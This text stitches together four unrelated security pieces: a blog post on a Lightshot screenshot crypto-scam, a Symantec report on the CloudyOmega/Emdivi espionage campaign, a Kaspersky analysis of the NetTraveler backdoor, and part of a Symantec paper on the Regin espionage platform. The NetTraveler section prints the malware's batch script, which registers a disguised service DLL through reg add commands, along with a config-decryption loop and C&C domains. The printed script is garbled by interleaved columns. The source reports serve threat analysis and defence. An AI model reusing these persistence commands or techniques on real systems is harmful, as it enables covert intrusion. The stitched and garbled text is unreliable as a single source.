Hard on the heels of scammers tricking Discord users by offering nonexistent coins on fake exchanges , inventing stories about lucky winners on fake news sites , and simulating helicopter money , a new scheme is exploiting Lightshot’s screen-sharing tool to get money from overly curious cryptoinvestors.
Convenient doesn’t mean safe
Lightshot is a tool for creating, customizing, and quickly sending screenshots.
It consists of an app for Windows, macOS, or Ubuntu and the prnt.sc cloud portal and lets users share screenshots quickly and easily: One click or shortcut sends an image to the cloud and returns an URL for sharing.
Anyone can see published screenshots without authentication ; you don’t even need a Lightshot account.
That makes the service fast and convenient but not very secure.
Moreover, to view a screenshot, you don’t even need the exact link; the URLs are sequential, so if you replace a character in one of them with the next in order, for example, another image will open.
The process can even be automated.
A simple script for brute-forcing URLs and downloading content from them takes just a few minutes to write.
Such openness is not a bug; the service warns users that every uploaded image is public .
However, given that leaks of valuable information through Lightshot regularly make the news , clearly not everyone reads the fine print.
How to leak data in Lightshot
So what if screenshots enter the public domain?
Who cares about sharing gaming records or jokes from work messages?
Think creatively: Lightshot users can dox themselves in any of at least three very plausible ways.
Take, for example, an employee who snaps a screenshot of an interface to get help with setting up a new program.
Sounds fine.
Now, what if a confidential document is open, partially hidden under the application window?
Or if someone shares a hilariously stupid work e-mail with a trusted friend, just for a laugh?
Or someone shows off an intimate chat but forgets to blur names and addresses?
Made public in Lightshot, those screenshots could spell serious trouble.
Online troublemakers hunt for revealing photos for fun; trolls can use them for harassment; and cybercriminals can use the threat of exposure to extort money from victims.
A trap for busybodies At the same time, even those who keep valuable data private and always check screenshots for unwanted extras may find the service still has a few pitfalls.
For example, on any given day the Lightshot portal might contain screenshots with details for accessing a cryptocurrency wallet.
Sometimes, the screenshots appear to suggest the account was shared deliberately.
Some display requests for help.
Some are bizarre and unrelated — we even saw a suicide note.
Screenshots of correspondence showing credentials for fake cryptocurrency accounts In other cases it looks like the “credentials” got on Lightshot as if by accident or carelessness.
For example, we saw screenshots that appeared to be password recovery e-mails for cryptocurrency wallets.
Fake password reset e-mails for equally fake cryptocurrency accounts If a user goes to the URL in the screenshot in pursuit of easy pickings, they will find themselves on a website posing as a cryptocurrency exchange.
Entering the credentials gets them into a fake account that appears to hold an impressive amount of cryptocurrency, say, 0.8 BTC (more than $45,000 at the time of posting).
And from inside the account, the victim can try to withdraw the funds and transfer them to their own account.
In that case, the exchange asks for a small commission.
It’s mere peanuts compared with the full sum, but it’s fake and will do nothing but line the scammers’ pockets.
And, of course, “peanuts” is relative:
A commission of 0.001–0.0015 BTC, for example, at current bitcoin rates, comes to approximately $60–$90.
All in all, the scheme seems to work well, and it does have a certain elegance.
At the time of posting, about 0.1 BTC (roughly $6,000) had been transferred to the “commissions” wallet.
How to save your money and secure your data Convenience does not mean security or privacy — often quite the opposite.
Lightshot is a prime example.
Here are a few tips for working safely with screenshots: Before installing Lightshot, consider whether you really want to share screenshots by making them public; If you decide to go ahead, remember that confidential information — banking details, passwords, other personal information — is the bread and butter of cybercriminals.
Use secure channels to share it, not Lightshot, or better still, don’t share it at all; If you’ve already used Lightshot and now regret sharing something, get the URL by searching your messages, go there, and click Report abuse ; or send a request to support@skillbrains.com ; Use your operating system’s built-in tools and shortcuts for creating screenshots.
In Windows, use the Snipping Tool or the Print Screen button; Mac users can press Cmd-Shift-3 to save a full-screen capture or Cmd-Shift-4 to select an area to screenshot.
To be clear, we do not recommend logging in to others’ accounts, even just out of curiosity.
And to avoid accidentally giving your login credentials to phishers, use a reliable security solution that will alert you if you stray onto a suspicious website.
Operation CloudyOmega: Ichitaro zero-day and ongoing
cyberespionage campaign targeting Japan
JustSystems has issued an update to its Ichitaro product line (Japanese office suite software), plugging a
zero-day vulnerability.
This vulnerability is being actively exploited in the wild to specifically target
Japanese organizations.
The exploit is sent to the targeted organizations through emails with a malicious Ichitaro document file
attached, which Symantec products detect as Bloodhound.
Exploit.557.
Payloads from the exploit may
include Backdoor.
Emdivi, Backdoor.
Korplug, and Backdoor.ZXshell; however, all payloads aim to steal
confidential information from the compromised computer.
The content of the emails vary depending on the business interest of the targeted recipient’s organization;
however, all are about recent political events associated with Japan.
Opening the malicious attachment
with Ichitaro will drop the payload and display the document.
Often such exploitation attempts crash and
then relaunch the document viewer to open a clean document in order to trick users into believing it is
legitimate.
In this particular attack, opening the document and dropping the payload are done without
crashing Ichitaro and, as such, users have no visual indications as to what is really happening in the
background.
CloudyOmega
As Security Response previously discussed, unpatched vulnerabilities being exploited is nothing new for
Ichitaro.
However, during our investigation of this Ichitaro zero-day attack, we discovered that the attack
was in fact part of an ongoing cyberespionage campaign specifically targeting various Japanese
organizations.
Symantec has named this attack campaign CloudyOmega.
In this campaign, variants of
Backdoor.
Emdivi are persistently used as a payload.
All attacks arrive on the target computers as an
attachment to email messages.
Mostly the attachments are in a simple executable format with a fake icon.
However, some of the files exploit software vulnerabilities, and the aforementioned vulnerability in
Ichitaro software is only one of them.
This group’s primary goal is to steal confidential information from
targeted organizations.
This blog provides insights into the history of the attack campaign, infection
methods, malware payload, and the group carrying out the attacks.
Timeline
The first attack of the campaign can be traced back to at least 2011.
Figure 1 shows the targeted sectors
and the number of attacks carried out each year.
The perpetrators were very cautious launching attacks in
the early years with attacks beginning in earnest in 2014.
By far, the public sector in Japan is the most
targeted sector hit by Operation CloudyOmega.
This provides some clue as to who the attack group is.
Figure 1.
Targeted sectors and number of attacks
Attack vector
Email is the predominant infection vector used in this campaign.
Figure 2.
Sample email used in attack campaign
Figure 2 is an example of an email used in recent attacks prior to those exploiting the Ichitaro zero-day
vulnerability.
The emails include password-protected .zip files containing the malware.
Ironically, the
attackers follow security best practices by indicating in the first email that the password will be sent to the
recipient in a separate email.
This is merely to trick the recipient into believing the email is from a
legitimate and trustworthy source.
The body of the email is very short and claims the attachment includes
a medical receipt.
The email also requests that the recipient open the attachment on a Windows computer.
The file in the attachment has a Microsoft Word icon but, as indicated within Windows Explorer, it is an
executable file.
Figure 3.
Attached “document” is actually a malicious executable file
Payload
The malicious payload is Backdoor.
Emdivi, a threat that opens a back door on the compromised
computer.
The malware is exclusively used in the CloudyOmega attack campaign and first appeared in
2011 when it was used in an attack against a Japanese chemical company.
Emdivi allows the remote
attacker executing the commands to send the results back to the command-and-control (C&C) server
through HTTP.
Each Emdivi variant has a unique version number and belongs to one of two types: Type S and Type T.
The unique version number is not only a clear sign that Emdivi is systematically managed, but it also acts
as an encryption key.
The malware adds extra words to the version number and then, based on this,
generates a hash, which it uses as an encryption key.
Both Emdivi Type S and Type T share the following functionality:
Allow a remote attacker to execute code through HTTP
Steal credentials stored by Internet Explorer
Type T is primarily used in Operation CloudyOmega, has been in constant development since the
campaign was first launched in 2011, and is written in the C++ programing language.
Type T employs
techniques to protect itself from security vendors or network administrators.
Important parts of Type T,
such as the C&C server address it contacts and its protection mechanisms, are encrypted.
Type T also
detects the presence of automatic analysis systems or debuggers, such as the following:
VirtualMachine
Debugger
Sandbox
Type S, on the other hand, was used only twice in the attack campaign.
Type S is a .NET application based
on the same source code and shared C&C infrastructure as Type T. However, protection mechanisms and
encryption, essential features for threat survival, are not present in Type S. One interesting trait of Type S
is that it uses Japanese sentences that seem to be randomly taken from the internet to change the file
hash.
For instance, in the example shown in Figure 4, it uses a sentence talking about the special theory of
relativity.
Figure 4.
Japanese text used by Emdivi Type S variant
Who is Emdivi talking to?
Once infected, Emdivi connects to hardcoded C&C servers using the HTTP protocol.
So far, a total of 50 unique domains have been identified from 58 Emdivi variants.
Almost all websites
used as C&C servers are compromised Japanese websites ranging from sites belonging to small businesses
to personal blogs.
We discovered that 40 out of the 50 compromised websites, spread across 13 IP
addresses, are hosted on a single cloud-hosting service based in Japan.
Figure 5.
Single IP hosts multiple compromised websites
The compromised sites are hosted on various pieces of web server software, such as Apache and Microsoft
Internet Information Services (IIS), and are on different website platforms.
This indicates that the sites
were not compromised through a vulnerability in a single software product or website platform.
Instead,
the attacker somehow penetrated the cloud service itself and turned the websites into C&C servers for
Backdoor.
Emdivi.
The compromised cloud hosting company has been notified but, at the time of writing, has not replied.
Symantec offers two IPS signatures that detect and block network communication between infected
computers and the Emdivi C&C server:
System Infected: Backdoor.
Emdivi Activity
System Infected: Backdoor.
Emdivi Activity 2
Zero-day and links to other cybercriminal groups
During our research, multiple samples related to this attack campaign were identified and allowed us to
connect the dots, as it were, when it came to CloudyOmega's connections to other attack groups.
In August 2012, the CloudyOmega attackers exploited the zero-day Adobe Flash Player and AIR
'copyRawDataTo()' Integer Overflow Vulnerability (CVE-2012-5054) in an attack against a high-profile
organization in Japan.
The attackers sent a Microsoft Word file containing a maliciously crafted SWF file
that exploited the vulnerability.
Once successfully exploited, the file installed Backdoor.
Emdivi.
As CVE-
2012-5054 was publicly disclosed in the same month, the attack utilized what was, at the time, a zero-day
exploit.
Interestingly, the Flash file that was used in an Emdivi attack in 2012 and the one used in the LadyBoyle
attack in 2013 look very similar.
Figure 6 shows the malformed SWF file executing LadyBoyle() code that attempts to exploit the Adobe
Flash Player CVE-2013-0634 Remote Memory Corruption Vulnerability (CVE-2013-0634).
The Flash file
seems to have been created using the same framework used by the CloudyOmega group, but with a
different exploit.
Figure 6.
Malformed SWF file used in the LadyBoyle campaign in February 2013
Both attacks use a .doc file containing an Adobe Flash zero-day exploit that is used to install a back door.
No other evidence connects these two different campaigns; however, as described previously in Symantec
Security Response’s Elderwood blog, it is strongly believed that a single parent organization has broken
into a number of subgroups that each target a particular industry.
In terms of the latest attack on Ichitaro, we collected a dozen samples of JTD files, all of which are exactly
the same except for their payload.
The parent organization, it would seem, supplied the zero-day exploit to
the different subgroups as part of an attack toolkit and each group launched a separate attack using their
chosen malware.
This is why three different payloads (Backdoor.
Emdivi, Backdoor.
Korplug, and
Backdoor.ZXshell) were observed in the latest zero-day attack.
Figure 7.
Parent group sharing zero-day exploit
Conclusion
Operation CloudyOmega was launched by an attack group that has communication channels with other
notorious attack groups including Hidden Lynx and the group responsible for LadyBoyle.
CloudyOmega
has been in operation since 2011 and is persistent in targeting Japanese organizations.
With the latest
attack employing a zero-day vulnerability, there is no indication that the group will stop their activities
anytime soon.
Symantec Security Response will be keeping a close eye on the CloudyOmega group.
Protection summary
It is highly recommended that customers using Ichitaro products apply any patches as soon as possible.
Symantec offers the following protection against attacks associated with Operation CloudyOmega:
AV
Backdoor.
Emdivi
Backdoor.
Emdivi!gen1
Backdoor.
Emdivi!gen2
Bloodhound.
Exploit.557
Trojan.
Mdropper
IPS
System Infected: Backdoor.
Emdivi Activity
System Infected: Backdoor.
Emdivi Activity 2
NetTraveler APT Gets a Makeover for 10th Birthday
We have written about NetTraveler before HERE and HERE.
Earlier this year, we observed an uptick in the number of attacks against Uyghur and Tibetan supporters
using an updated version of the NetTraveler backdoor.
Here's an example of a targeted spear-phishing e-mail directed at Uyghur activists in March 2014.
The e-mail has two attachments, a non-malicious JPG file and a 373 KB Microsoft Word .DOC file.
"Sabiq sot xadimi gulnar abletning qeyin-Qistaqta olgenliki
File name
ashkarilanmaqta.doc"
MD5                       b2385963d3afece16bd7478b4cf290ce
Size                      381,667 bytes
The .DOC file, which in reality is a "Single File Web Page" container, also known as "Web archive file",
appears to have been created on a system using Microsoft Office - Simplified Chinese.
It contains an exploit for the CVE-2012-0158 vulnerability, detected by Kaspersky Lab products as
Exploit.MSWord.CVE-2012-0158.db.
If run on a vulnerable version of Microsoft Office, it drops the main module as "net.exe" (detected by
Kaspersky Lab products as Trojan-Dropper.
Win32.Agent.lifr), which in turn installs a number of
other files.
The main C&C module is dumped into
"%SystemRoot%\system32\Windowsupdataney.dll", (detected by Kaspersky as Trojan-
Spy.
Win32.TravNet.qfr).
Name                      WINDOWSUPDATANEY.DLL
MD5                       c13c79ad874215cfec8d318468e3d116
Size                      37,888 bytes
It is registered as a service (named "Windowsupdata") through a Windows Batch file named "DOT.BAT"
(detected by Kaspersky Lab products as Trojan.BAT.Tiny.b):
@echo off
@reg add
"HKEY_LOCAL_MACHINE\
SOFTWARE\Microsoft\Win
dows@echo off
NT\CurrentVersion\Svcho
st" @reg
/v Windowsupdata     /t
add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows           NT\CurrentVersion\Svchost" /v
REG_MULTI_SZ /d
Windowsupdata
Windowsupdata /f
/t REG_MULTI_SZ   /d Windowsupdata /f
@reg add
@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v
"HKEY_LOCAL_MACHINE\
ImagePath /t REG_EXPAND_SZ /d %SystemRoot%\System32\svchost.exe -k Windowsupdata /f
SYSTEM\CurrentControlSe
t\Services\Windowsupdat
a" /v ImagePath
@reg          /t
add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata"        /v
REG_EXPAND_SZ /d
DisplayName
%SystemRoot%\System32
/t REG_SZ /d Windowsupdata  /f
\svchost.exe -k
@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata"
Windowsupdata     /f                                                                       /v
@regObjectName
add           /t REG_SZ /d LocalSystem /f
"HKEY_LOCAL_MACHINE\
SYSTEM\CurrentControlSe
@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v
t\Services\Windowsupdat
ErrorControl /t REG_DWORD /d 1 /f
a" /v DisplayName /t
REG_SZ /d
@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata"
Windowsupdata     /f                                                                       /v Start /t
@regREG_DWORD
add              /d 2 /f
"HKEY_LOCAL_MACHINE\
SYSTEM\CurrentControlSe
@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata\Parameters"
t\Services\Windowsupdat
/v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\Windowsupdataney.dll /f
a" /v ObjectName /t
REG_SZ /d LocalSystem /f
@reg add
To   make sure the malware isn't running multiple times, it uses the mutex "SD_2013 Is Running!"
to mark
"HKEY_LOCAL_MACHINE\
SYSTEM\CurrentControlSe
its presence in the system.
Other known mutexes used by older and current variants include:
t\Services\Windowsupdat
a" /v ErrorControl /t
REG_DWORD /d 1 /f
@reg addBoat-12 Is Running!
"HKEY_LOCAL_MACHINE\
DocHunter2012 Is Running!
SYSTEM\CurrentControlSe
t\Services\Windowsupdat
Hunter-2012 Is Running!
a" /v Start /t REG_DWORD
/d 2 /fNT-2012 Is Running!
@reg add
"HKEY_LOCAL_MACHINE\
NetTravler Is Running!
NetTravler2012 Is Running!
SH-2011 Is Running!
ShengHai Is Running!
SD2013 is Running!
The malware configuration file is written to the "SYSTEM" folder (as opposed to SYSTEM32) and has a
slightly new format compared to "older" NetTraveler samples:
For the record, here's what an older NetTraveler config file looks like:
Obviously, the developers behind NetTraveler have taken steps to try to hide the malware's configuration.
Luckily, the encryption is relatively simple to break.
The algorithm is as follows:
for (i=0;i<string_size;i++)
decrypted[i]=encrypted[i] - (i + 0xa);
Once decrypted, the new config looks like this:
One can easily see the command-and-control (C&C) server in the screenshot above, which is
"uyghurinfo[.
]com".
We identified several samples using this new encryption scheme.
A list of all the extracted C&C servers can
be found below:
C&C server            IP                   IP location                      Registrar
Hong Kong, Albert Heng,          SHANGHAI MEICHENG
ssdcru[.
]com          103.30.7.77
Trillion Company                 TECHNOLOGY
United States, Los Angeles,      TODAYNIC.COM
uygurinfo[.
]com       216.83.32.29
Integen Inc                      INC.
Hong Kong, Kowloon,
SHANGHAI MEICHENG
samedone[.
]com        122.10.17.130        Hongkong Dingfengxinhui Bgp
TECHNOLOGY
Datacenter
Hong Kong, Sun Network           SHANGHAI MEICHENG
gobackto[.
]net        103.1.42.1
(hong Kong) Limited              TECHNOLOGY
SHANGHAI MEICHENG
worksware[.
]net       N/A                  N/A
TECHNOLOGY
was                  Hong Kong, Sun Network           SHANGHAI MEICHENG
jojomic[.
]com
202.146.219.14       (hong Kong) Limited              TECHNOLOGY
hong kong hung tai               SHANGHAI MEICHENG
angellost[.
]net       was 103.17.117.201
international holdings           TECHNOLOGY
hong kong hung tai               SHANGHAI MEICHENG
husden[.
]com          was 103.30.7.76
international holdings           TECHNOLOGY
We recommend blocking all these hosts in your firewall.
Conclusion
This year, the actors behind NetTraveler celebrate 10 years of activity.
Although the earliest samples we
have seen appear to have been compiled in 2005, there are certain indicators that point to 2004 as the
year when their activity started.
For 10 years NetTraveler has been targeting various sectors, with a focus on diplomatic, government and
military targets.
NetTraveler victims by industry
Most recently, the main focus of interest for cyber-espionage activities revolved around space exploration,
nano-technology, energy production, nuclear power, lasers, medicine and communications.
The targeting of Uyghur and Tibetan activists remains a standard component of their activities and we can
assume it will stay this way, perhaps for another 10 years.
SECURITY RESPONSE
Regin: Top-tier espionage tool
enables stealthy surveillance
Symantec Security Response

Version 1.0 – November 24, 2014
Regin is an extremely complex piece of software that can be
customized with a wide range of different capabilities that
can be deployed depending on the target.
CONTENTS
OVERVIEW...................................................................... 3
Introduction................................................................... 5
Timeline.......................................................................... 5
Target profile.................................................................. 6
Infection vector........................................................ 6
Architecture................................................................... 8
Stage 0 (dropper)..................................................... 9
Stage 1...................................................................... 9
Stage 2...................................................................... 9
Stage 3...................................................................... 9
Stage 4............................................................ 	11
Stage 5.................................................................... 11
Encrypted virtual file system containers	�������������� 11
Command-and-control operations......................... 12
Logging................................................................... 12
Payloads....................................................................... 14
64-bit version............................................................... 15
File names.............................................................. 15
Stage differences................................................... 15
Conclusion.................................................................... 16
Protection..................................................................... 16
Appendix...................................................................... 18
Data files................................................................ 18
Indicators of compromise............................................ 20
File MD5s................................................................ 20
File names/paths.................................................... 20
Extended attributes............................................... 21
Registry.................................................................. 21
OVERVIEW
In the world of malware threats, only a few rare examples can truly be considered
groundbreaking and almost peerless.
What we have seen in Regin is just such a class of
malware.
Regin is an extremely complex piece of software that can be customized with a wide
range of different capabilities which can be deployed depending on the target.
It is built
on a framework that is designed to sustain long-term intelligence-gathering operations
by remaining under the radar.
It goes to extraordinary lengths to conceal itself and its
activities on compromised computers.
Its stealth combines many of the most advanced
techniques that we have ever seen in use.
The main purpose of Regin is intelligence gathering and it has been implicated in data
collection operations against government organizations, infrastructure operators,
businesses, academics, and private individuals.
The level of sophistication and complexity
of Regin suggests that the development of this threat could have taken well-resourced
teams of developers many months or years to develop and maintain.
Regin is a multi-staged, modular threat, meaning that it has a number of components,
each depending on others, to perform attack operations.
This modular approach gives
flexibility to the threat operators as they can load custom features tailored to individual
targets when required.
Some custom payloads are very advanced and exhibit a high
degree of expertise in specialist sectors.
The modular design also makes analysis of the
threat difficult, as all components must be available in order to fully understand it.
This
modular approach has been seen in other sophisticated malware families such as Flamer
and Weevil (The Mask), while the multi-stage loading architecture is similar to that seen
in the Duqu/Stuxnet family of threats.
Regin is different to what are commonly referred to as “traditional” advanced persistent
threats (APTs), both in its techniques and ultimate purpose.
APTs typically seek specific
information, usually intellectual property.
Regin’s purpose is different.
It is used for the
collection of data and continuous monitoring of targeted organizations or individuals.
This report provides a technical analysis of Regin based on a number of identified
samples and components.
This analysis illustrates Regin’s architecture and the many
payloads at its disposal.
INTRODUCTION
Regin has a wide
range of standard
capabilities,
particularly around
monitoring targets
and stealing data.
Regin: Top-tier espionage tool enables stealthy surveillance
Introduction
Regin is a multi-purpose data collection tool which dates back several years.
Symantec first began looking into
this threat in the fall of 2013.
Multiple versions of Regin were found in the wild, targeting several corporations,
institutions, academics, and individuals.
Regin has a wide range of standard capabilities, particularly around monitoring targets and stealing data.
It also
has the ability to load custom features tailored to individual targets.
Some of Regin’s custom payloads point to a
high level of specialist knowledge in particular sectors, such as telecoms infrastructure software, on the part of
the developers.
Regin is capable of installing a large number of additional payloads, some highly customized for the targeted
computer.
The threat’s standard capabilities include several remote access Trojan (RAT) features, such as
capturing screenshots and taking control of the mouse’s point-and-click functions.
Regin is also configured to
steal passwords, monitor network traffic, and gather information on processes and memory utilization.
It can
also scan for deleted files on an infected computer and retrieve them.
More advanced payload modules designed
with specific goals in mind were also found in our investigations.
For example, one module was designed to
monitor network traffic to Microsoft Internet Information Services (IIS) web servers, another was designed
to collect administration traffic for mobile telephony base station controllers, while another was created
specifically for parsing mail from Exchange databases.
Regin goes to some lengths to hide the data it is stealing.
Valuable target data is often not written to disk.
In
some cases, Symantec was only able to retrieve the threat samples but not the files containing stolen data.
Timeline
Symantec is aware of two distinct versions of Regin.
Version 1.0 appears to have been used from at least 2008 to
2011.
Version 2.0 has been used from 2013 onwards, though it may have possibly been used earlier.
Version 1.0 appears to have been abruptly withdrawn from circulation in 2011.
Version 1.0 samples found after
this date seem to have been improperly removed or were no longer accessible to the attackers for removal.
This report is based primarily on our analysis of Regin version 1.0.
We also touch on version 2.0, for which we
only recovered 64-bit files.
Symantec has assigned these version identifiers as they are the only two versions that have been acquired.
Regin
likely has more than two versions.
There may be versions prior to 1.0 and versions between 1.0 and 2.0.
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Regin: Top-tier espionage tool enables stealthy surveillance
Target profile
The Regin operators do not appear to
focus on any specific industry sector.
Regin infections have been observed
in a variety of organizations,
including private companies,
government entities, and research
institutes.
Infections are also geographically
diverse, having been identified
mainly in 10 different regions.
Infection vector
The infection vector varies among
targets.
A reproducible infection
vector is unconfirmed at time of
writing.
Targets may be tricked into
visiting spoofed versions of well-
known websites and the threat may
be installed through a web browser
or by exploiting an application.
On
one computer, log files show that
Regin originated from Yahoo!
Instant
Messenger through an unconfirmed
exploit.
Figure 1.
Confirmed Regin infections by sector
Figure 2.
Confirmed Regin infections by country
Page 6
ARCHITECTURE
The initial Stage 1
driver is the only
plainly visible code
on the computer.
All other stages are
stored as encrypted
data blobs...
Regin: Top-tier espionage tool enables stealthy surveillance
Architecture
Regin has a six-stage architecture.
The initial        Table 1.
The six stages of Regin
stages involve the installation and configuration
of the threat’s internal services.
The later stages    Stages          Components
bring Regin’s main payloads into play.
This            Stage 0         Dropper.
Installs Regin onto the target computer
section presents a brief overview of the format
Stage 1         Loads driver
and purpose of each stage.
The most interesting
stages are the executables and data files stored       Stage 2         Loads driver
in Stages 4 and 5.
The initial Stage 1 driver is       Stage 3         Loads compression, encryption, networking, and han-
the only plainly visible code on the computer.
All                     dling for an encrypted virtual file system (EVFS).
other stages are stored as encrypted data blobs,
Stage 4         Utilizes the EVFS and loads additional kernel mode
as a file or within a non-traditional file storage
drivers, including payloads.
area such as the registry, extended attributes, or
raw sectors at the end of disk.
Stage 5         Main payloads and data files
Figure 3.
Regin’s architecture
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Regin: Top-tier espionage tool enables stealthy surveillance
Stage 0 (dropper)
Symantec Security Response has not obtained the Regin dropper at the time of writing.
Symantec believes that
once the dropper is executed on the target’s computer, it will install and execute Stage 1.
It’s likely that Stage
0 is responsible for setting up various extended attributes and/or registry keys and values that hold encoded
versions of stages 2, 3, and potentially stages 4 and onwards.
The dropper could be transient rather than acting
as an executable file and may possibly be part of the infection vector exploit code.
Stage 1
Stage 1 is the initial load point for the threat.
There are two known Stage 1 file names:
•	 usbclass.sys (version 1.0)
•	 adpu160.sys (version 2.0)
These are kernel drivers that load and execute Stage 2.
These kernel drivers may be registered as a system
service or may have an associated registry key to load the driver while the computer is starting up.
Stage 1 simply reads and executes Stage 2 from a set of NTFS extended attributes.
If no extended attributes are
found, Stage 2 is executed from a set of registry keys.
Stage 2
Stage 2 is a kernel driver that simply extracts, installs and runs Stage 3.
Stage 2 is not stored in the traditional
file system, but is encrypted within an extended attribute or a registry key blob.
Stage 2 can be found encrypted in:
Extended attribute
•	 %Windir%
•	 %Windir%\fonts
•	 %Windir%\cursors (possibly only in version 2.0)
Registry subkey
•	 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793-
D0204917CA58}
•	 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\RestoreList\VideoBase (possibly only in version
2.0)
This stage can also hide running instances of Stage 1.
Once this happens, there are no remaining plainly visible
code artifacts.
Similar to previous stages, Stage 2 finds and loads an encrypted version of Stage 3 from either
NTFS extended attributes or a registry key blob.
Stage 2 can also monitor the state of the threat.
This stage drops the file msrdc64.dat, which appears to always
be 512 bytes in size.
The first two bytes are used and the remaining bytes are set to zero.
The second byte
indicates the exclusive maximum number of instances allowed to run, which is set to two.
This means no more
than one instance should run at any time.
The first byte indicates how many instances were run or attempted to
run.
Therefore, the potential combinations for the first two bytes are:
•	 00 02 (the threat is not running)
•	 01 02 (the threat is running)
•	 02 02 (the threat was running and a second instance has started).
Stage 3
Stage 3 is a kernel mode DLL and is not stored in the traditional file system.
Instead, this file is encrypted within
an extended attribute or registry key blob.
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Regin: Top-tier espionage tool enables stealthy surveillance
Stage 3 can be found in the following locations:
Extended attribute
•	 %Windir%\system32
•	 %Windir%\system32\drivers
Registry subkey
•	 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793-
D0204917CA5A}
The file is six to seven times the size of the driver in Stage 2.
In addition to loading and executing Stage 4, Stage
3 offers a framework for the higher level stages.
Stages 3 and above are based on a modular framework of code modules.
These modules offer functions through
a private, custom interface.
Each file in stages 3 and above can “export” functionality to other parts of Regin.
In the case of Stage 3, the following primitives are offered:
•	 The orchestrator, which parses custom records found in the appended data of the executable files for stages
3 and above.
These records contain a list of Regin functionalities to be executed.
A record starts with the
number 0xD912FEAB (little-endian ordering)
•	 Compression and decompression routines
•	 Encryption and decryption routines
•	 Routines to retrieve storage locations of higher-level (Stage 4) components
•	 Routines to handle an encrypted virtual file system used by Stage 4
•	 Network primitives
These primitives are provided through a custom export methodology.
Export methodology
The Stage 3 DLL exports a wide range        Table 2.
An example of Regin’s methods organized into 12 groups
of functionality through a custom
export methodology.
The interface used       Major                           Functionality
to export functionality does not make        0001h                           Core
use of the traditional Windows DLL
000Dh                           Compression, decompression
export mechanism by name or ordinal.
000Fh                           Encryption, decryption
Exported Regin methods are referenced
003Dh                           EVFS handling
by a tuple consisting of a major
and minor number.
Stage 3 exports            0007h                           Container management
hundreds of methods, organized               000Bh                           Log management
into 12 different major groups.
The
numbers used vary across versions.
We        0033h                           Loader
acquired artifacts using two different       0011h                           Network
numbering schemes.
Table 2 is an
example listing.
0013h                           Network
C373h                           TCP command-and-control (C&C)
With Regin’s modular nature, Stage
4 kernel modules and Stage 5 user            0019h                           UDP C&C
modules (payloads) can provide               0009h                           C&C Processor
functionality and export routines using
the same major and minor numbering
scheme.
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Regin: Top-tier espionage tool enables stealthy surveillance
Stage 4
The files for Stage 4, which are loaded by Stage 3, consist of a user-mode orchestrator and multiple kernel
payload modules.
They are stored in two EVFS containers as files:
•	 %System%\config\SystemAudit.
Evt: Contains Stage 4 kernel drivers, which constitute the kernel mode part of
Regin’s payload.
•	 %System%\config\SecurityAudit.
Evt: Contains a user mode version of Stage 3.
The files are injected into
services.exe.
When the attackers who operated Regin cleaned up compromised computers once they were finished with them,
they often failed to remove Stage 4 and 5 artifacts from the system.
Stage 4 also uses the same export methodology described in Stage 3.
Stage 5
Stage 5 consists of the main Regin payload functionality.
The files for Stage 5 are injected into services.exe by
Stage 4.
Stage 5 files are EVFS containers containing other files:
•	 %System%\config\SystemLog.evt: Contains Stage 5 user mode DLLs.
They constitute Regin’s payload.
•	 %System%\config\SecurityLog.evt: Contains Stage 5 data files, used by the Stage 4 and 5 components to
store various data items
•	 %System%\config\ApplicationLog.evt: Another Stage 5 log container, which is
referenced by Stage 5 data files
•	 %Windir%\ime\imesc5\dicts\pintlgbp.imd (version 2.0)
•	 %Windir%\ime\imesc5\dicts\pintlgbs.imd (version 2.0)
Regin’s payload involves the DLLs contained in the SystemLog.evt EVFS container.
The payload functionality differs depending on the targeted computer.
Custom
payload files will likely be delivered for each specific environment.
Example payload
functionality seen to date includes:
•	 Sniffing low-level network traffic
•	 Exfiltrating data through various channels (TCP, UDP, ICMP, HTTP)
•	 Gathering computer information
•	 Stealing passwords
•	 Gathering process and memory information
•	 Crawling through the file system
•	 Low level forensics capabilities (for example, retrieving files that were deleted)
•	 UI manipulation (remote mouse point & click activities, capturing screenshots, etc.)
•	 Enumerating IIS web servers and stealing logs
•	 Sniffing GSM BSC administration network traffic
Encrypted virtual file system containers
Regin stores data files and payloads on disk in encrypted virtual file system files.
Such
files are accessed by the major routines 3Dh.
Files stored inside EVFS containers are
encrypted with a variant of RC5, using 64-bit blocks and 20 rounds.
The encryption
mode is reverse cipher feedback (CFB).
Known extensions for EVFS containers are *.evt and *.imd.
The structure of a
container is similar to the FAT file system.
One major difference is that files do          Figure 4.
Physical layout
not have a name; instead, they’re identified using a binary tag.
The tag itself is the      of an EVFS container
Page 11
Regin: Top-tier espionage tool enables stealthy surveillance
concatenation of a major number and a minor number.
The major number typically indicates the major function
group that will handle the file.
A container starts with the header in Table 3
(little-endian ordering).
Table 3.
The container’s header
Offset                Type       Description
The header is followed by the file entry table
(Table 4).
Each file entry is 13h+taglen bytes          00h                   WORD       Sector size in bytes
long.
02h                   WORD       Maximum sector count
The sectors follow (Table 5).
A sector of               04h                   WORD       Maximum file count
sectsize bytes starts with a DWORD pointing to          06h                   BYTE       File tag length (taglen)
the next sector (if the file does not fit within a
single sector), followed by sectsize-4 bytes of         07h                   DWORD      Header CRC
payload data.
0Bh                   DWORD      File table CRC
As explained above, the files are encrypted.
0Fh                   WORD       Number of files
Other layers of encryption and compression              11h                   WORD       Number of sectors in use
may also be in place, although those would be           13h                   -          Sector-use bitmap
handled by higher level components.
Command-and-control                                      Table 4.
The container’s file entry table
operations                                                Offset         Type           Description
00h            DWORD          CRC
Regin’s C&C operations are extensive.
These
backchannel operations are bidirectional,        04h           DWORD          File offset
which means either the attackers can initiate    08h           DWORD          Offset to first sector holding the file data
communications with compromised computers
on the border network or the compromised         0Ch           BYTE[taglen]   File tag
computers can initiate communications with
the attacker.
